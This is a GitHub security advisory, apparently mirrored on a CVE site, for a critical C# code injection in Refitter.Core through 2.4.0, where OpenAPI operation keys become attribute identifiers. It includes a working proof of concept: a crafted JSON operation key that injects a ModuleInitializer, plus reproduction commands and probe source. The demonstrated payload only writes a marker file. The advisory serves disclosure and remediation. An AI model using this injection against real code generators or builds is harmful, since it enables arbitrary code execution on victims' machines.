# GHSA-2P8R-7MX6-GH86: C# code injection through OpenAPI operation-key attribute identifiers

- Database: GitHub
- Severity: critical (stated by ghsa, no CVSS score)
- Published: 2026-11-21
- Modified: 2026-11-21

## Affected versions

- Refitter.Core (NuGet): through 2.4.0
- Refitter (NuGet): through 2.4.0
- Refitter.MSBuild (NuGet): through 2.4.0
- Refitter.SourceGenerator (NuGet): through 2.4.0

## Description

# C# code injection through OpenAPI operation-key attribute identifiers

## Summary

`Refitter.Core` accepts an attacker-controlled OpenAPI path-item operation name and emits it directly as a C# attribute identifier. A crafted name can close the generated interface and add a `ModuleInitializer`; when a consumer compiles and loads the generated client, the initializer executes attacker-supplied code. The tested `get` control generated and loaded normally without running the payload.

## Technical Details

The public `RefitGenerator.CreateAsync` API loads the configured `OpenApiPath` through `OpenApiDocumentFactory` and returns a generator whose `Generate` method emits C#. `OpenApiDocumentFactory.CreateAsync` supports HTTP URLs: it downloads the document, validates external references, and passes the content to the OpenAPI parser. This public API does not invoke the CLI's `OpenApiValidator`.

The parser retains a path item's operation property name as `OpenApiOperationInfo.Verb`. In `InterfaceGenerator.GenerateMethod`, the name is capitalized and used as the generated attribute type, while only the route string is escaped:

```csharp
var verb = IsQuery(op.Verb)
    ? queryMethodAttributeTypeName
    : op.Verb.CapitalizeFirstCharacter();

code.AppendLine($"[{verb}(\"{ParameterNaming.EscapeString(parameterList.Path)}\")]");
```

The public API accepts an operation name containing quotes, brackets, and newlines. The generated attribute then terminates early, allowing the operation name to add declarations and a module initializer to the output. This crosses the boundary from an untrusted OpenAPI document to generated C#; it is more than malformed input or an ordinary generation failure because the generated output was compiled and the initializer executed.

## PoV

The first fixture contains this path item. The operation property name is shown as JSON-escaped text; after parsing, each `\n` becomes a newline in the generated source.

```json
{
  "openapi": "3.0.0",
  "info": { "title": "Specification One", "version": "1" },
  "paths": {
    "/probe": {
      "get(\"probe\")]\npublic global::System.Threading.Tasks.Task Injected();\n}\npublic static class ProbePayload\n{\n    [global::System.Runtime.CompilerServices.ModuleInitializer]\n    public static void Run() => global::System.IO.File.WriteAllText(\"/work/module-initializer-ran\", \"executed\");\n}\npublic interface InjectedApi\n{\n//": {
        "responses": { "200": { "description": "OK" } }
      }
    }
  }
}
```

The second fixture uses the same document with the normal operation name `get`:

```json
{
  "openapi": "3.0.0",
  "info": { "title": "Specification Two", "version": "1" },
  "paths": {
    "/probe": {
      "get": {
        "responses": { "200": { "description": "OK" } }
      }
    }
  }
}
```

## PoC

The proof used the pinned `Refitter.Core` source, generated a client through the public API, compiled that output into a .NET 11 executable with minimal Refit attribute stubs, then loaded it. The generator and generated-client project source are provided in the Appendix. From the repository root, with `/work` writable, run these commands. Each Probe invocation passes absolute fixture and generated-source paths rooted at `$PWD`, so Probe does not depend on its application working directory:

```sh
cat > spec-one.json <<'JSON'
{
  "openapi": "3.0.0",
  "info": { "title": "Specification One", "version": "1" },
  "paths": {
    "/probe": {
      "get(\"probe\")]\npublic global::System.Threading.Tasks.Task Injected();\n}\npublic static class ProbePayload\n{\n    [global::System.Runtime.CompilerServices.ModuleInitializer]\n    public static void Run() => global::System.IO.File.WriteAllText(\"/work/module-initializer-ran\", \"executed\");\n}\npublic interface InjectedApi\n{\n//": {
        "responses": { "200": { "description": "OK" } }
      }
    }
  }
}
JSON

cat > spec-two.json <<'JSON'
{
  "openapi": "3.0.0",
  "info": { "title": "Specification Two", "version": "1" },
  "paths": {
    "/probe": {
      "get": {
        "responses": { "200": { "description": "OK" } }
      }
    }
  }
}
JSON

dotnet run --project Probe/Probe.csproj -c Release -- "$PWD/spec-one.json" "$PWD/Generated/Generated.cs"
dotnet run --project Generated/GeneratedPayload.csproj -c Release
test -f /work/module-initializer-ran

rm -f /work/module-initializer-ran
dotnet run --project Probe/Probe.csproj -c Release -- "$PWD/spec-two.json" "$PWD/Generated/Generated.cs"
dotnet run --project Generated/GeneratedPayload.csproj -c Release
test ! -e /work/module-initializer-ran
```

Abridged console output from both runs (only reproduced lines are shown):

```text
GENERATION_OK
GENERATED_ASSEMBLY_LOADED
```

For the first fixture, the marker file exists after the generated assembly loads. For the second fixture, it does not. Both generation and compilation completed successfully.

Both reproduced fixtures were local JSON files; the HTTP download branch was confirmed from source but not exercised. Exploitation remains conditional on a consumer compiling and loading the generated client.

## Impact

An attacker who supplies an OpenAPI document can execute code with the consuming application's permissions if a victim or build workflow processes the document, compiles the generated client, and loads its assembly. The remote `OpenApiPath` route allows an attacker to host the document; user interaction is required to consume it and use the generated code. The demonstrated payload writes a marker, while the injected initializer can perform other actions available to the consumer process.

**CWE-94** — Improper Control of Generation of Code (Code Injection). **CVSS 3.1: 9.6 Critical** (`AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H`). The vector uses the supported network URL input, low complexity, no attacker privileges, and required victim interaction. Scope is changed because the injected code executes in the consuming application after generation, and the confidentiality, integrity, and availability impacts follow from arbitrary code execution in that process. The claim is limited to consumers that use an attacker-controlled document and compile and load its generated output.

## Suggested Fix

Map parsed operation names to a fixed set of supported Refit attribute identifiers before generating source, and reject unknown operation names. Do not derive a C# identifier from the OpenAPI member name. Add a regression test through `RefitGenerator.CreateAsync` that supplies an operation name containing C# delimiters and verifies that generation rejects it before emitting source; retain tests for each supported HTTP verb.

## Affected Package/Versions

- **Package:** `Refitter.Core` (NuGet).
- **Confirmed affected version:** `2.4.0`. The `2.4.0` tagged `InterfaceGenerator.cs` has the same content hash as the pinned source file used in the proof, and the NuGet version index lists `2.4.0` as the latest published version on 2026-11-20.
- **Patched versions:** None identified for this operation-key sink. No broader version range is asserted; earlier releases were not tested for this specific flaw.

## Advisory History

Four related public Refitter code-generation advisories address neighboring sinks: [CVE-2026-63345 / GHSA-3fhm-p725-h3g3](https://github.com/advisories/GHSA-3fhm-p725-h3g3) covers OpenAPI path values inserted into an attribute string; [GHSA-58x9-vjvp-6mx8](https://github.com/advisories/GHSA-58x9-vjvp-6mx8) concerns header parameter names; [GHSA-p32v-8v8j-j534](https://github.com/advisories/GHSA-p32v-8v8j-j534) concerns content-type values; and [GHSA-h924-jfhp-9vjr](https://github.com/advisories/GHSA-h924-jfhp-9vjr), published 2026-11-17, concerns schema property names, discriminator property names and mapping keys, and default and enum values emitted unescaped into generated C# literals or code. The merged [PR #1178](https://github.com/christianhelle/refitter/pull/1178) fixed the path, header-name, and content-type attribute string-value sinks. The merged [PR #1407](https://github.com/christianhelle/refitter/pull/1407), titled “Escape schema names and reject non-literal values in generated contracts,” addresses schema-derived names and values; that schema-value sanitization scope is distinct from this report’s operation-key-to-attribute-identifier injection.

This report concerns a separate input field and sink: an OpenAPI path-item operation property name becomes a C# attribute type identifier, while the related advisories address other attribute string values or schema-derived values emitted into literals or code. The local report history contains no prior report covering this operation-key sink. The fix invariant is to map supported operation names to fixed Refit attribute identifiers and reject unknown names before emitting source; route-string escaping or literal-emission fixes do not constrain the operation key used as an identifier.

## References

- [`RefitGenerator.CreateAsync`, pinned source](https://github.com/christianhelle/refitter/blob/bf77ef633cd182563748fd7828e2d06bb24e1dd5/src/Refitter.Core/Pipeline/RefitGenerator.cs#L23-L60)
- [`OpenApiDocumentFactory.CreateAsync`, including HTTP URL loading](https://github.com/christianhelle/refitter/blob/bf77ef633cd182563748fd7828e2d06bb24e1dd5/src/Refitter.Core/Document/OpenApiDocumentFactory.cs#L70-L105)
- [`InterfaceGenerator.GenerateMethod`, pinned source](https://github.com/christianhelle/refitter/blob/bf77ef633cd182563748fd7828e2d06bb24e1dd5/src/Refitter.Core/Generation/InterfaceGenerator.cs#L252-L312)
- [`Refitter.Core` 2.4.0 on NuGet](https://www.nuget.org/packages/Refitter.Core/2.4.0)
- [OpenAPI 3.0 Path Item Object](https://spec.openapis.org/oas/v3.0.3.html#path-item-object)
- [CVE-2026-63345 / GHSA-3fhm-p725-h3g3](https://github.com/advisories/GHSA-3fhm-p725-h3g3)
- [GHSA-58x9-vjvp-6mx8](https://github.com/advisories/GHSA-58x9-vjvp-6mx8)
- [GHSA-p32v-8v8j-j534](https://github.com/advisories/GHSA-p32v-8v8j-j534)

## Appendix: Reproducer Source

Create `Probe/Probe.csproj` in a checkout of the repository:

```xml
<Project Sdk="Microsoft.NET.Sdk">
  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net11.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>
  <ItemGroup>
    <ProjectReference Include="../src/Refitter.Core/Refitter.Core.csproj" />
  </ItemGroup>
</Project>
```

Create `Probe/Program.cs`:

```csharp
using Refitter.Core;

if (args.Length != 2)
    throw new ArgumentException("Expected the fixture path and generated-source path.");

var fixturePath = Path.GetFullPath(args[0]);
var generatedPath = Path.GetFullPath(args[1]);
var generator = await RefitGenerator.CreateAsync(
    new RefitGeneratorSettings
    {
        OpenApiPath = fixturePath,
        GenerateXmlDocCodeComments = false
    });

Directory.CreateDirectory(Path.GetDirectoryName(generatedPath)!);
await File.WriteAllTextAsync(generatedPath, generator.Generate());
Console.WriteLine("GENERATION_OK");
```

Create `Generated/GeneratedPayload.csproj`:

```xml
<Project Sdk="Microsoft.NET.Sdk">
  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net11.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
    <AssemblyName>GeneratedPayload</AssemblyName>
  </PropertyGroup>
</Project>
```

Create `Generated/RefitStubs.cs`:

```csharp
namespace Refit
{
    [System.AttributeUsage(System.AttributeTargets.Method, AllowMultiple = true)]
    public sealed class GetAttribute : System.Attribute
    {
        public GetAttribute(string path) { }
    }

    [System.AttributeUsage(System.AttributeTargets.Method, AllowMultiple = true)]
    public sealed class HeadersAttribute : System.Attribute
    {
        public HeadersAttribute(params string[] values) { }
    }
}
```

Create `Generated/Program.cs`:

```csharp
System.Console.WriteLine("GENERATED_ASSEMBLY_LOADED");
```

Save the first JSON fixture as `spec-one.json` and the second as `spec-two.json`. The module initializer runs before `Main` and writes `/work/module-initializer-ran` for the first fixture only.

## References

- https://github.com/christianhelle/refitter/security/advisories/GHSA-2p8r-7mx6-gh86

Page: https://cve.now/GHSA-2P8R-7MX6-GH86

Wrong or missing data? Send feedback: POST https://cve.now/api/v1/feedback (see https://cve.now/agents#feedback).
